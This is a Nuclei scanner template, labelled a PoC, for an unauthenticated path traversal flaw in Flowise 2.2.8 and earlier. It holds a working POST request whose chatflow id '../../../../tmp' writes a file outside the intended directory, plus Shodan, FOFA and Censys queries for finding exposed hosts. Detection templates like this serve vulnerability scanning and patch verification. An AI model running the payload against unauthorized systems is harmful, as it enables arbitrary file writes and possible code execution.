Flowise <= 2.2.8 contains a path traversal vulnerability caused by missing validation of chatflowId and chatId parameters in file handling, letting unauthenticated attackers read and write arbitrary files, exploit requires no authentication.
PoC
id: CVE-2025-71334
info:
name: Flowise - Path Traversal
author: theamanrawat
severity: critical
description: |
Flowise <= 2.2.8 contains a path traversal vulnerability caused by missing validation of chatflowId and chatId parameters in file handling, letting unauthenticated attackers read and write arbitrary files, exploit requires no authentication.
impact: |
Unauthenticated attackers can read and write arbitrary files, potentially leading to remote code execution and full system compromise.
remediation: |
Update to version 3.0.6 or later.
reference:
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-q67q-549q-p849
- https://nvd.nist.gov/vuln/detail/CVE-2025-71334
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-71334
epss-score: 0.0436
epss-percentile: 0.90984
cwe-id: CWE-73
metadata:
verified: true
max-request: 2
vendor: flowiseai
product: flowise
shodan-query: title:"Flowise"
fofa-query: title="Flowise"
censys-query: services.http.response.html_title="Flowise"
tags: cve,cve2025,flowise,lfi,path-traversal,file-write,vkev,intrusive
variables:
name: "{{randstr}}"
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/"
matchers:
- type: word
part: body
words:
- "Flowise"
case-insensitive: true
internal: true
- method: POST
path:
- "{{BaseURL}}/api/v1/chatflows"
headers:
Content-Type: application/json
x-request-from: internal
body: |
{"id":"../../../../../../../../tmp","name":"{{name}}","deployed":false,"isPublic":false,"flowData":"{\"nodes\":[{\"id\":\"a\",\"data\":{\"category\":\"Document Loaders\",\"inputs\":{\"key\":\"data:text/plain;base64,bnVjbGVpLWN2ZS0yMDI1LTcxMzM0,a:{{name}}.txt\"}}}],\"edges\":[],\"viewport\":{\"x\":1,\"y\":1,\"zoom\":1}}","chatbotConfig":null,"apiConfig":null,"analytic":null,"speechToText":null,"type":"CHATFLOW"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "FILE-STORAGE::"
- type: status
status:
- 200
extractors:
- type: regex
part: body
group: 1
regex:
- '\\"FILE-STORAGE::\[\\\\\\"(.*?)\\\\\\"\]\\"'
# digest: 4a0a00473045022100b089446779f5a1aa0c5a07a35b17628174953e894577014853e1ce11a14da9e7022075e87165db5e86a61d25547412ed4bbce1e13dd288716293f4d79151e388a9c1:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.